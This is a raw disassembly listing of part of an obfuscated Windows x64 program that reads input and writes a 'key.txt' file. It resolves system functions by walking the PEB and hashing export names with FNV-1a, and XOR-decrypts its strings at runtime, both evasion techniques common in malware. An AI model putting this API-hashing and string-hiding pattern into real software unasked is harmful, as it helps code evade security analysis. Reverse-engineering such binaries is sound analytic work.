sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400714d0
lea rdx, [rbp + 0x5b8]
mov rcx, r10
call fcn.140049bb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x9c0], xmm0
mov qword [rbp + 0x9d0], r15
mov qword [rbp + 0x9d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x9c0], 0
lea rdx, [rbp + 0x9c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400499a0
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x6d8]
call fcn.14004bc40
mov rdx, rax
lea rcx, [0x140177750]
call fcn.14008b370
cmp byte [0x140177960], 0
jne 0x140071be2
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x40]
call fcn.14004d8b0
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071616
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071616
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071611
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400715f0
cmp r8d, 0x491e0a9c
je 0x14007161b
test r9d, r9d
jne 0x1400715d0
mov rax, qword [rax]
jmp 0x1400715a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 3], 0
je 0x140071710
cmp r12d, 2
jl 0x1400716d3
movdqa xmm3, xmmword [0x1400ea960]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14013d5e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14013d5e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
mov r14d, Ordinal_35
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14013d4c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14013d530]
movd xmm0, dword [rsi]
pxor xmm2, xmm0
movd dword [rsi], xmm2
jmp 0x140071716
mov r9, rsi
mov r8d, r15d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400716e0
mov r14d, Ordinal_35
mov rcx, rsi
call r11
lea rcx, [rbp + 0x870]
call fcn.14004e3b0
lea rdx, [rbp + 0x320]
lea rcx, [rsp + 0x40]
call fcn.14004d8c0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400717c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400717c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400717c1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400717a0
cmp r8d, 0xe76fb4aa
je 0x1400717cb
test r9d, r9d
jne 0x140071780
mov rcx, qword [rcx]
jmp 0x140071750
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 0x14], 0
je 0x140071970
mov r8d, r15d
cmp r12d, 2
jl 0x140071938
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140071831
cmp r8d, 0x15
jge 0x140071970
movsxd r9, r8d
add r9, rsi
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140071940
mov rcx, rsi
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x40]
call fcn.14004d8f0
mov r9, rax
cmp byte [rax + 0x11], 0
je 0x140071b20
cmp r12d, 2
jl 0x140071ae9
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r15d, 8
mov eax, r15d
lea rcx, [rcx + 8]
cmp r15d, 0x10
jl 0x1400719e0
cmp eax, 0x12
jge 0x140071b20
movsxd r8, r15d
add r8, r9
nop
mov eax, 0x4bda12f7
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r15b
sub al, cl
add al, 0x37
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x12
jl 0x140071af0
mov rdx, r9
mov rcx, r10
call fcn.140049bb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071bb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071bb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071bb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071b90
cmp r8d, 0x2fa62ca8
je 0x140071bbb
test r9d, r9d
jne 0x140071b70
mov rax, qword [rax]
jmp 0x140071b40
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xa90]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14013cc28]
mov qword [rbp + 0xa90], rax
lea rcx, [rbp + 0xb38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x50], 2
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xa98]
lea rcx, [rbp + 0xa90]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xa90]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xa90], rax
mov rax, qword [rbp + 0xa90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xa8c], edx
lea rcx, [rbp + 0xa98]
call fcn.14004bad0
nop
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.key.txt
lea rcx, [rbp + 0xa98]
call fcn.14006b4d0
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0xa90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa90]
je 0x140071cb8
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140071cc6
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp + 0x9c0]
cmp qword [rbp + 0x9d8], 0x10
cmovae rdx, qword [rbp + 0x9c0]
mov r8, qword [rbp + 0x9d0]
lea rcx, [rbp + 0xa90]
call fcn.14004a910
lea rcx, [rbp + 0xa98]
call fcn.14005b7f0
test rax, rax
jne 0x140071d24
mov rax, qword [rbp + 0xa90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa90]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xa90]
call fcn.14004dbe0
nop
lea rcx, [rbp + 0x9c0]
call fcn.14004caf0
lea rcx, [0x140177750]
call fcn.1400858d0
cmp byte [0x140177960], 0
jne 0x140072306
lea rcx, [rbp + 0x870]
call fcn.14004e3b0
movups xmm0, xmmword [0x14013ce70]
movups xmmword [rbp + 0x338], xmm0
mov eax, dword [0x14013ce80]
mov dword [rbp + 0x348], eax
movzx eax, byte [0x14013ce84]
mov byte [rbp + 0x34c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071e16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071e16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071e11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071df0
cmp r8d, 0xe76fb4aa
je 0x140071e1b
test r9d, r9d
jne 0x140071dd0
mov rax, qword [rax]
jmp 0x140071da0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140071f87
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x33c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140071e80
cmp r8d, 0x15
jge 0x140071fd0
movsxd rax, r8d
lea r9, [rbp + 0x338]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140071fa0
lea rcx, [rbp + 0x338]
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x14013ce88]
movups xmmword [rbp + 0xf8], xmm0
movzx eax, word [0x14013ce98]
mov word [rbp + 0x108], ax
cmp byte [0x14013ce99], 0
je 0x1400721a0
mov r8d, r15d
cmp r12d, 2
jl 0x140072159
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xfc]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140072052
cmp r8d, 0x12
jge 0x1400721a0
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140072170
lea rdx, [rbp + 0xf8]
mov rcx, r10
call fcn.140049bb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140072236
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072236
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072231
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072210
cmp r8d, 0x2fa62ca8
je 0x14007223b
test r9d, r9d
jne 0x1400721f0
mov rax, qword [rax]
jmp 0x1400721c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400722e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400722e6
mov rax, qword [rax]
jmp 0x140072270
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140072396
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072396
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072391
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072370
cmp r8d, 0x2fa62ca8
je 0x14007239b
test r9d, r9d
jne 0x140072350
mov rax, qword [rax]
jmp 0x140072320
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
lea rcx, [0x140177750]
call fcn.1400858d0
mov eax, dword [0x14013ce9c]
mov dword [rbp - 0x74], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140072456
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072456
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072451
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072430
cmp r8d, 0x491e0a9c
je 0x14007245b
test r9d, r9d
jne 0x140072410
mov rax, qword [rax]
jmp 0x1400723e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x140072504
movdqa xmm3, xmmword [0x1400ea960]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14013d5e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14013d5e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14013d4c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14013d530]
movd xmm0, dword [rbp - 0x74]
pxor xmm2, xmm0
movd dword [rbp - 0x74], xmm2
jmp 0x140072540
lea r9, [rbp - 0x74]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140072510
lea rcx, [rbp - 0x74]
call r11
movups xmm0, xmmword [0x14013cea0]
movups xmmword [rbp + 0x350], xmm0
mov eax, dword [0x14013ceb0]
mov dword [rbp + 0x360], eax
movzx eax, byte [0x14013ceb4]
mov byte [rbp + 0x364], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400725f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400725f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400725f1
mov rax, qword [rax]
jmp 0x140072580
lea r8, [rbp + 0x738]
lea rdx, [rbp + 0x20]
lea rcx, str.exists
call fcn.140051790
nop
mov dword [rbp + 0xa8], r15d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
call fcn.140051900
nop
call fcn.140051940
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3